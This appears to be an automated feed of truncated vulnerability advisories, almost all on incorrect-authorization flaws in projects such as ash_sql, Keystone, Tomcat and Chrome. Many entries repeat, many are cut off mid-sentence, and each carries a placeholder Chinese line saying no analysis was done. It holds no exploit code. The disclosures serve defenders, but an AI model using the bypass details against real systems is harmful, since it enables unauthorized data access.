Incorrect Authorization vulnerability in ash-project ash_graphql delivers GraphQL subscription payloads for records a subscriber is not authorized to see. In AshGraphql.Subscription.Batcher, do_send/5 resolves the first notification of a batch and filters it with should_send?/1, which drops results whose errors are coded forbidden or not_found or carry no code, precisely so that unauthorized resu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_graphql allows an authenticated subscriber in one tenant to receive another tenant's records over GraphQL subscriptions. The subscription resolver in AshGraphql.Graphql.Resolver authorizes each notification payload in memory: its fast path calls Ash.can/3 with run_queries?: false, which evaluates the read policy filter against the in-memory
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_graphql allows an authenticated subscriber in one tenant to receive another tenant's records over GraphQL subscriptions. The subscription resolver in AshGraphql.Graphql.Resolver authorizes each notification payload in memory: its fast path calls Ash.can/3 with run_queries?: false, which evaluates the read policy filter against the in-memory
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_graphql delivers GraphQL subscription payloads for records a subscriber is not authorized to see. In AshGraphql.Subscription.Batcher, do_send/5 resolves the first notification of a batch and filters it with should_send?/1, which drops results whose errors are coded forbidden or not_found or carry no code, precisely so that unauthorized resu
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe Framework development builds contain an authorization flaw in the render_jinja_template endpoint that allows low-privileged users to render arbitrary Jinja templates by supplying raw template strings. Attackers with print permission on any document can execute arbitrary SELECT statements against unrelated tables, including reading password hashes from the __Auth table.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe Framework development builds contain an authorization flaw in the render_jinja_template endpoint that allows low-privileged users to render arbitrary Jinja templates by supplying raw template strings. Attackers with print permission on any document can execute arbitrary SELECT statements against unrelated tables, including reading password hashes from the __Auth table.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_sql allows a caller in a schema-based multitenant application to receive aggregate values computed from another tenant's rows. When an aggregate is computed over a distinct query, AshSql.AggregateQuery.add_single_aggs/5 rebuilds the outer query from query.from.source alone, which is only the {table, schema} tuple and does not carry query.pr
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_sql allows a caller to receive an aggregate value computed over rows a more restrictive filter should have excluded, disclosing counts, sums, or lists across an authorization or tenancy boundary. AshSql.Aggregate.different_queries?/2 reports two aggregate queries as different only when their filter and their sort both differ. Aggregate quer
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_sql allows a caller to bypass a scoping or authorization filter expressed as exists/2 over a relationship that declares both a limit (or from_many?) and a parent(...)-referencing filter or sort. AshSql.Join.related_query/3 skips the caller-supplied exists predicate for such relationships and delegates it to limit_from_many/5. When the relat
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_sql allows a caller to bypass a scoping or authorization filter expressed as exists/2 over a relationship that declares both a limit (or from_many?) and a parent(...)-referencing filter or sort. AshSql.Join.related_query/3 skips the caller-supplied exists predicate for such relationships and delegates it to limit_from_many/5. When the relat
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_sql allows a caller to receive an aggregate value computed over rows a more restrictive filter should have excluded, disclosing counts, sums, or lists across an authorization or tenancy boundary. AshSql.Aggregate.different_queries?/2 reports two aggregate queries as different only when their filter and their sort both differ. Aggregate quer
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in ash-project ash_sql allows a caller in a schema-based multitenant application to receive aggregate values computed from another tenant's rows. When an aggregate is computed over a distinct query, AshSql.AggregateQuery.add_single_aggs/5 rebuilds the outer query from query.from.source alone, which is only the {table, schema} tuple and does not carry query.pr
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
pac4j-core before 6.5.6 contains an authentication bypass vulnerability in CheckProfileTypeAuthorizer that reverses the profile type validation logic. Attackers can authenticate through a weaker client and access resources requiring a stronger profile type by satisfying generic profile checks.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
pac4j-core before 6.5.6 contains an authentication bypass vulnerability in CheckProfileTypeAuthorizer that reverses the profile type validation logic. Attackers can authenticate through a weaker client and access resources requiring a stronger profile type by satisfying generic profile checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
pac4j-core before 6.5.6 contains an authentication bypass vulnerability in CheckProfileTypeAuthorizer that reverses the profile type validation logic. Attackers can authenticate through a weaker client and access resources requiring a stronger profile type by satisfying generic profile checks.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Rank Math SEO WordPress plugin before 1.0.277 does not check that the user requesting an automated SEO fix holds the capability WordPress itself requires for the settings being changed, allowing users with the Editor role to modify site-wide core WordPress settings that are reserved to administrators.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Booking for Appointments and Events Calendar WordPress plugin before 2.4.9 does not check that a user holds the required capability before letting them change an appointment's status, allowing customers to set arbitrary statuses on appointments they are booked on, including approving their own bookings that were left awaiting approval and overwriting another customer's booking status on a sha
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Rank Math SEO WordPress plugin before 1.0.277 does not check that the user requesting an automated SEO fix holds the capability WordPress itself requires for the settings being changed, allowing users with the Editor role to modify site-wide core WordPress settings that are reserved to administrators.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Booking for Appointments and Events Calendar WordPress plugin before 2.4.9 does not check that a user holds the required capability before letting them change an appointment's status, allowing customers to set arbitrary statuses on appointments they are booked on, including approving their own bookings that were left awaiting approval and overwriting another customer's booking status on a sha
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The getgrav/grav-plugin-api plugin before 1.0.18 does not enforce API-key scope in the requireNotSuperTarget() function in UsersController.php across seven sensitive user-management endpoints. The check uses isSuperAdmin() on the acting account rather than verifying whether the specific API key carries super authority (via isSuperWithinScope()). As a result, an API key scoped below full super auth
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary SeaweedFS routes requests signed with SigV4 service `s3tables` to the S3Tables management API. Authorization on that path collapsed account-less S3 identities into the shared `admin` account and failed open, so a user holding only ordinary S3 `Read` credentials — and no S3Tables-specific permission — could invoke S3Tables management operations such as `GET /buckets` and enumerate admin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Immich through 3.1.0 fails to properly enforce locked asset visibility when assets are locked through the single-asset endpoint, allowing them to remain accessible through shared albums and links. Attackers can read locked assets and their metadata by accessing existing shared albums or links, bypassing the locked visibility protection.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Microsoft Edge (Chromium-based) allows an unauthorized attacker to disclose information over a network.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Piccolo Admin is an admin interface and content management system for Python, built on top of Piccolo. Prior to 1.14.0, piccolo_admin/endpoints.py uses superuser_validators to block PUT, PATCH, DELETE, and POST requests by non-superusers but permits GET requests to configured user and session tables, while piccolo_api/session_auth/tables.py exposes SessionsBase.token because the token column is no
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vikunja is an open-source self-hosted task management platform. From 0.21.0 until 2.4.0, the project duplication operation in pkg/models/project_duplicate.go allows an authenticated user who can read a source project to place its duplicate beneath an arbitrary target parent project. ProjectDuplicate.CanCreate calls parent.CanCreate on an unhydrated Project containing only the body supplied parent_
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In Eclipse Lyo versions 2.0.0 to 7.0.0, OAuth server authorization checks can be bypassed when the 2-legged auth is supported by the server. In those cases, application that based their authz filters upon Lyo-provided `AbstractAdapterCredentialsFilter`, are vulnerable. An attacked can create a provisional trusted client (valid use-case) but then it can be used as a trusted client immediately witho
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wazuh is an open-source security platform providing unified XDR and SIEM protection for endpoints and cloud workloads. In versions 4.14.0 through 4.14.6, an authenticated low-privilege user can read the cluster secret from the manager configuration because the logic that masks sensitive values is disabled by any update-config RBAC rule, including an explicit deny. The mask_sensitive_config() decor
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Wazuh is an open-source security platform providing unified XDR and SIEM protection for endpoints and cloud workloads. In versions 4.14.0 through 4.14.6, an authenticated low-privilege user can read the cluster secret from the manager configuration because the logic that masks sensitive values is disabled by any update-config RBAC rule, including an explicit deny. The mask_sensitive_config() decor
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr before 23.0.4 authorizes REST API document deletion against the wrong permission. Documents::delete() in htdocs/api/class/api_documents.class.php calls dol_check_secure_access_document() with the mode argument 'read' when handling DELETE /api/index.php/documents, while the sibling builddoc() path passes 'write', the correct mode for an operation that modifies stored data. An authenticated
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Trilium is an open-source hierarchical note-taking application. In versions up to and including 0.103.0, the public share-search endpoint does not enforce the per-note shareCredentials and shareHiddenFromTree controls, allowing an unauthenticated visitor to read the titles, tree paths, and content of protected shared notes. The endpoint authorizes only the ancestor note supplied in the request and
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dolibarr before 23.0.4 authorizes REST API document deletion against the wrong permission. Documents::delete() in htdocs/api/class/api_documents.class.php calls dol_check_secure_access_document() with the mode argument 'read' when handling DELETE /api/index.php/documents, while the sibling builddoc() path passes 'write', the correct mode for an operation that modifies stored data. An authenticated
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Trilium is an open-source hierarchical note-taking application. In versions up to and including 0.103.0, the public share-search endpoint does not enforce the per-note shareCredentials and shareHiddenFromTree controls, allowing an unauthenticated visitor to read the titles, tree paths, and content of protected shared notes. The endpoint authorizes only the ancestor note supplied in the request and
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The updateWorkspace handler in mods/identity/src/workspaces/createUpdateWorkspace.ts in Fonoster through 0.22.7 invokes the gRPC callback with PERMISSION_DENIED when createIsWorkspaceMember reports that the caller is not a member of the target workspace, but it does not return. Execution continues into prisma.workspace.update, which is scoped by the workspace reference alone, so the rename commits
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The updateWorkspace handler in mods/identity/src/workspaces/createUpdateWorkspace.ts in Fonoster through 0.22.7 invokes the gRPC callback with PERMISSION_DENIED when createIsWorkspaceMember reports that the caller is not a member of the target workspace, but it does not return. Execution continues into prisma.workspace.update, which is scoped by the workspace reference alone, so the rename commits
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The JetBackup WordPress plugin before 3.1.23.5 does not perform its multisite authorisation check before serving backup archives and job logs, allowing an administrator of the network's main site who is not a Super Admin to download a full backup of the entire network, including every site's data and the shared webroot.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary A Cloudreve WebDAV account stores a `uri` that defines the account's root folder. The WebDAV request handler (`stripPrefix` in `pkg/webdav/webdav.go`) trims the `/dav` prefix from the request path and joins the remainder to that root with `fs.URI.JoinRaw`, but never checks that the joined URI stays inside the root. Go's `net/http` decodes `%2e%2e` to `..` and `%2f` to `/` in `r.URL.Pa
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kimai before 2.56.0 does not enforce team-membership checks in TimesheetVoter::voteOnAttribute(), which maps permissions only to own_timesheet or other_timesheet. As a result, any authenticated user with ROLE_TEAMLEAD (or a role holding edit_other_timesheet/delete_other_timesheet) can read, modify, and permanently delete timesheets belonging to any user system-wide via the API, regardless of team
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Edit in-place field allows Forceful Browsing. This issue affects Edit in-place field versions: from 0.0.0 to 2.1.1.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Webform REST allows Forceful Browsing. This issue affects Webform REST versions: from 0.0.0 to 4.1.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In OpenStack Keystone before 29.0.3, tokens obtained via delegated authentication mechanisms (OAuth1 access tokens, application credentials, trusts) could be submitted to the token-method authentication path for reauthentication to escape their intended project scope. When an application credential token was presented with no explicit scope, Keystone would issue a new token scoped to the credentia
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In OpenStack Keystone before 29.0.3, tokens obtained via OAuth1 access token, application credential, or trust-scoped authentication could create new long-lived credentials or authorize new delegations that persist independently of, and outlive, the credential used to obtain them. The delegation restrictions that block these operations did not consistently apply to all delegated token types, allow
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Apache Tomcat's FORM authentication process allows the bypassing of a security constraint that limits user has access to a resource POST but not GET. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120. The following versions were EOL at the time the CVE was created bu
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kimai before 2.56.0 does not enforce team-membership checks in TimesheetVoter::voteOnAttribute(), which maps permissions only to own_timesheet or other_timesheet. As a result, any authenticated user with ROLE_TEAMLEAD (or a role holding edit_other_timesheet/delete_other_timesheet) can read, modify, and permanently delete timesheets belonging to any user system-wide via the API, regardless of team
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Edit in-place field allows Forceful Browsing. This issue affects Edit in-place field versions: from 0.0.0 to 2.1.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Drupal Webform REST allows Forceful Browsing. This issue affects Webform REST versions: from 0.0.0 to 4.1.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In OpenStack Keystone before 29.0.3, tokens obtained via delegated authentication mechanisms (OAuth1 access tokens, application credentials, trusts) could be submitted to the token-method authentication path for reauthentication to escape their intended project scope. When an application credential token was presented with no explicit scope, Keystone would issue a new token scoped to the credentia
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In OpenStack Keystone before 29.0.3, tokens obtained via OAuth1 access token, application credential, or trust-scoped authentication could create new long-lived credentials or authorize new delegations that persist independently of, and outlive, the credential used to obtain them. The delegation restrictions that block these operations did not consistently apply to all delegated token types, allow
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization vulnerability in Apache Tomcat's FORM authentication process allows the bypassing of a security constraint that limits user has access to a resource POST but not GET. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120. The following versions were EOL at the time the CVE was created bu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Improper Access Control, Incorrect Authorization vulnerability in Apache Tomcat leads to security constraint bypass if a constraint for a longer path is specified before a more restrictive constraint for a shorter sub-path. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.24, from 10.1.0-M1 through 10.1.57, from 9.0.0.M1 through 9.0.120, from 8.5.0 through 8.5.100, from 7.0.0 throu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Controls in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Input in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebXR in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Navigation in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Controls in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebXR in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Input in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in ServiceWorker in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Navigation in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in SiteIsolation in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass site isolation into a privileged page via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Browser in Google Chrome on on Android prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via UI Interaction. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in CustomTabs in Google Chrome on on Android prior to 152.0.7977.65 allowed a local attacker to bypass web origin policy via a co-installed app. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Sandbox in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Mobile in Google Chrome on on iOS prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebAppInstalls in Google Chrome on on Android prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in USB in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in SiteIsolation in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Extensions in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in DOM in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to potentially leak sensitive information via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Web Authentication (Passkeys & Security Keys) in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Media in Google Chrome on on Windows prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Extensions in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy into a privileged page via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in CustomTabs in Google Chrome on on Android prior to 152.0.7977.65 allowed a local attacker to bypass web origin policy via a co-installed app. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in FileSystem in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Browser in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Extensions in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in ServiceWorker in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in GetUserMedia in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Forms in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in TabGroups in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to potentially leak sensitive information via crafted network traffic. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Paint in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in FileSystem in Google Chrome prior to 152.0.7977.65 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Transactions Platform in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebProtect in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in StorageAccessAPI in Google Chrome prior to 152.0.7977.65 allowed a remote attacker who had compromised the renderer process to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Loader in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Network in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in WebProtect in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
